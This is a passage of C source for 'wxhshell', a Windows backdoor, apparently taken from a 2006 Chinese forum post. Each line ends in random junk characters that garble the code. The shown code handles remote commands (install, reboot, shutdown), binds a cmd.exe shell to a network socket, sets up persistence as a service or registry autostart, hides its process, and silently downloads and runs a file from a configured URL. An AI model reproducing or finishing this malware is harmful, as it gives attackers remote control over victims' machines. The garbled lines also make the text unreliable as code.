      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o<Q~pd#Ip,  
    break; {D$+~ lO  
  } d-X<+&VZ  
  // 安装 v81<K*w`P  
  case 'i': { f mf(5  
    if(Install()) svN& ~@ l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y6f YNB  
    else @PutUYz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <d8 Yk>R  
    break; i6aM}p<  
    } F.4xi+S_  
  // 卸载 !Eu}ro.}  
  case 'r': { 04o(05K  
    if(Uninstall()) *4]}_ .rG#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I=0`xF|4K-  
    else d-y8c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V!u W\i/  
    break; nGq{+ G  
    } O|d"0P  
  // 显示 wxhshell 所在路径 xtyOG  
  case 'p': { ^tI ,eZ  
    char svExeFile[MAX_PATH]; `Ps&N^[  
    strcpy(svExeFile,"\n\r"); ?|kwYA$4o  
      strcat(svExeFile,ExeFile); C h>r.OfP  
        send(wsh,svExeFile,strlen(svExeFile),0); =nG g k}Z  
    break; ,XU<2jv]  
    } H>X:#xOA_  
  // 重启 1 Qln|b8<  
  case 'b': { \<TWy&2&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +xp)la.  
    if(Boot(REBOOT)) m9 1Gc?c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *jM]:GpyoU  
    else { G8}k9?26(  
    closesocket(wsh); jBb:)  
    ExitThread(0); qx|~H'UuBN  
    } \(C6|-:GY  
    break; UyENzK<%u  
    } ~ 6DaM!  
  // 关机 &sJ-&7YZ  
  case 'd': { \8g'v@$wG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VX0}x+LJ  
    if(Boot(SHUTDOWN)) L xP%o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y'*oW+K  
    else { &.F ]-1RN[  
    closesocket(wsh); _\;0E!=p  
    ExitThread(0); 3?5JY;}h>"  
    } 6Z.Fyte  
    break; S"H djEF7\  
    } I'}&s|6  
  // 获取shell lha)4d  
  case 's': { #x*\dL  
    CmdShell(wsh); ~bf4_5  
    closesocket(wsh); ?fW['%  
    ExitThread(0); e>0gE`8A  
    break; DaP,3>M  
  } AT%6K.  
  // 退出 42M_  %l_  
  case 'x': { 41g "7Mk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CVE(N/&b  
    CloseIt(wsh); 5:|9pe)  
    break; &n9&k Em  
    } ,Wv+Ek  
  // 离开 ~[<C6{  
  case 'q': { #zRHYZc'T|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Wz%H?m:g#  
    closesocket(wsh); galzk$D  
    WSACleanup(); LY-,cXm&|  
    exit(1); zG{P5@:.R  
    break; 9A~w2z\G  
        } rtNYX=P  
  } iYD5~pK8  
  } e.\dqt~%y  
<p/zm}?')  
  // 提示信息 ?8N^jjG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SSxp!E'  
} ,.Lwtp,n  
  } ;.'?(iEB  
ulE5lG0c  
  return; X!_&%^L'  
} e>6|# d  
DL`8qJ'mJs  
// shell模块句柄 IdqCk0lVD  
int CmdShell(SOCKET sock) j"K^zh  
{ C#-HWoSi  
STARTUPINFO si; i-PK59VZ8f  
ZeroMemory(&si,sizeof(si)); p4V*%A&w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |sdG<+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NOg/rDs'{  
PROCESS_INFORMATION ProcessInfo; 0<7sM#sI!  
char cmdline[]="cmd"; auga`*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T*:w1*:  
  return 0; s_  t/  
} A'BqNsy  
@^T~W^+  
// 自身启动模式 p#).;\M   
int StartFromService(void) ?7}ybw3t]  
{ D=Q.Q  
typedef struct >$7x]f  
{ FQJiLb._Z  
  DWORD ExitStatus; %N)B8A9kh  
  DWORD PebBaseAddress; To}eJ$8*5  
  DWORD AffinityMask; Q 9fK)j1$  
  DWORD BasePriority; EB| iW2'  
  ULONG UniqueProcessId; dP?prT  
  ULONG InheritedFromUniqueProcessId; K[kK8i+(  
}   PROCESS_BASIC_INFORMATION; ?z`={oN  
oUwo!n}  
PROCNTQSIP NtQueryInformationProcess; 3CgID6[Sy  
<o/!M6^:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,A'| Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "I66 @d?  
f`:GjA,J$  
  HANDLE             hProcess; -w*fS,O  
  PROCESS_BASIC_INFORMATION pbi; PChew3  
C7ug\_,s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $2\ 8Rn6'  
  if(NULL == hInst ) return 0; ~5'7u-;  
s3eS` rK-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UAPd["`)y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Lo3N)~5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); / cb`%"Z  
JcUU#>  
  if (!NtQueryInformationProcess) return 0; }/dk2!?ig  
9 wZ?")2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @4hzNi+  
  if(!hProcess) return 0; 5CZyA`3V^5  
ele@xl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <Xl#}6II  
Asv]2> x  
  CloseHandle(hProcess); XHekz6_  
?<${?L>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )i}j\";>L  
if(hProcess==NULL) return 0; OL>)SJj5  
YZ5,K6u  
HMODULE hMod; &nP0T-T5y  
char procName[255]; g E _+r  
unsigned long cbNeeded; Vx(*OQ  
])wdd>'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @>HTbs6W  
i+h*<){X  
  CloseHandle(hProcess); >*RU:X  
Hl`OT5 pNf  
if(strstr(procName,"services")) return 1; // 以服务启动 `*Yw-HL  
UB.1xcI  
  return 0; // 注册表启动 UxL*I[z5  
} 5X20/+aT  
:ZM9lBYh  
// 主模块 uX*2Rs$s  
int StartWxhshell(LPSTR lpCmdLine) 4~,Z 'k  
{ d #1Y^3n  
  SOCKET wsl; H"FK(N\  
BOOL val=TRUE; *{3d+j/?/  
  int port=0; lG)wa  
  struct sockaddr_in door; \P*_zd@%  
l)9IgJ|<b  
  if(wscfg.ws_autoins) Install(); bZNqv-5 4h  
B W<Dmn  
port=atoi(lpCmdLine); Z#Mm4(KNh  
se\fbe^0  
if(port<=0) port=wscfg.ws_port; m,lZy#02s3  
&]DB-t#\  
  WSADATA data; ?qNU*d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d.FU) )lmD  
$AZYY\1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g}NO$?ndg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %"0,o$  
  door.sin_family = AF_INET; <{isWEW9]3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jc&k-d>=G  
  door.sin_port = htons(port); !&{rnK  
{4D`VfX_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i)?7+<X  
closesocket(wsl); =#2c r:1  
return 1; ;cXw;$&D  
} LH5Z@*0#  
;=y"Z^  
  if(listen(wsl,2) == INVALID_SOCKET) { :j]1wp+  
closesocket(wsl); C(ij_>  
return 1; E`.xu>Yyj  
} s*k)h,\  
  Wxhshell(wsl); j6GIB_  
  WSACleanup(); a_RY Yj  
riDb !oC  
return 0; VHxBs  
^.6[vmmq  
} ( zWBrCX  
<0})%V?-  
// 以NT服务方式启动 6Ijt2c'A}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oX|T&"&  
{ YNr"]SA@;  
DWORD   status = 0; B&]`OO>O  
  DWORD   specificError = 0xfffffff; M7TLQqaF  
2!{D~Gfl=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fB8, )&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #7]Jz.S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,U~A=bsa  
  serviceStatus.dwWin32ExitCode     = 0; h3o'T=`Sm  
  serviceStatus.dwServiceSpecificExitCode = 0; suY47DCX)  
  serviceStatus.dwCheckPoint       = 0; zMsup4cl  
  serviceStatus.dwWaitHint       = 0;  T Rv  
=SJ#6uFS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QQrldc(I  
  if (hServiceStatusHandle==0) return; "'U^8NA2  
h p]J> i.  
status = GetLastError(); >Zb!?ntN`t  
  if (status!=NO_ERROR) aV\i3\da  
{ Vu3DP+u|i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UzxL" `^7  
    serviceStatus.dwCheckPoint       = 0; YzESV Th  
    serviceStatus.dwWaitHint       = 0; p F{jIXu  
    serviceStatus.dwWin32ExitCode     = status; [Fl_R[o  
    serviceStatus.dwServiceSpecificExitCode = specificError; )9hqd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WC#6(H5t$  
    return; V&*IZt&  
  } ,8e'<y  
.PB!1C.}@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o{PG& }K  
  serviceStatus.dwCheckPoint       = 0; !*-|!Vz  
  serviceStatus.dwWaitHint       = 0; #AJW-+1g.=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =I# pXL  
} YnEyL2SuU  
'H5 30Y\  
// 处理NT服务事件,比如:启动、停止 |0n )U(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6 9>@0P  
{ g(@F`W[  
switch(fdwControl) ^Hx}.?1  
{ e9{ii2M  
case SERVICE_CONTROL_STOP: $ VT)  
  serviceStatus.dwWin32ExitCode = 0; .C'\U[A{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "t0^4=c+7  
  serviceStatus.dwCheckPoint   = 0; " `qk}n-  
  serviceStatus.dwWaitHint     = 0; l77 -I:  
  { =A'>1N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b j&!$')  
  } 2FMmANH0ev  
  return; \n{# r`T  
case SERVICE_CONTROL_PAUSE: i!a!qE.1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `NIb? /!f  
  break; QTHY{:Rmu  
case SERVICE_CONTROL_CONTINUE: t\M6 d6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eC-&.Fl  
  break; A (2 0+  
case SERVICE_CONTROL_INTERROGATE: r8EJ@pOF2w  
  break; @Tu`0 =8  
}; " .7@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cfTT7O#Dc  
} y\??cjWb]  
}b456J  
// 标准应用程序主函数 k=s^-Eiu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  ``/L18  
{ % !@E)%d0  
jj{:=l ZB  
// 获取操作系统版本 p/{%%30ke  
OsIsNt=GetOsVer(); In?rQiD9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^T&{ORWz  
WsHD Ip  
  // 从命令行安装 fEBi'Ad  
  if(strpbrk(lpCmdLine,"iI")) Install(); %r^tZ;; l  
.#&)%}GC  
  // 下载执行文件 tj;47UtH  
if(wscfg.ws_downexe) { y4kn2Mw;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7J);{ &x9h  
  WinExec(wscfg.ws_filenam,SW_HIDE); bW`nLiw}%  
} .q 2r!B  
Bl+\|[yd  
if(!OsIsNt) { JG;}UuHYM  
// 如果时win9x,隐藏进程并且设置为注册表启动 uH89oA/H  
HideProc(); QBa+xI_ J  
StartWxhshell(lpCmdLine); *$9U/  d  
} WOO3z5 La  
else 5Ew( 0K[  
  if(StartFromService()) 6 wN*d 5  
  // 以服务方式启动 T6/P54S  
  StartServiceCtrlDispatcher(DispatchTable); U6-47m0%  
else Mi.#x_  
  // 普通方式启动 .rBU"Rbo  
  StartWxhshell(lpCmdLine); 0Z2XVq~T$  
2bCfY\k  
return 0; hJSvx  
}
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只看该作者 1 发表于: 2006-10-10
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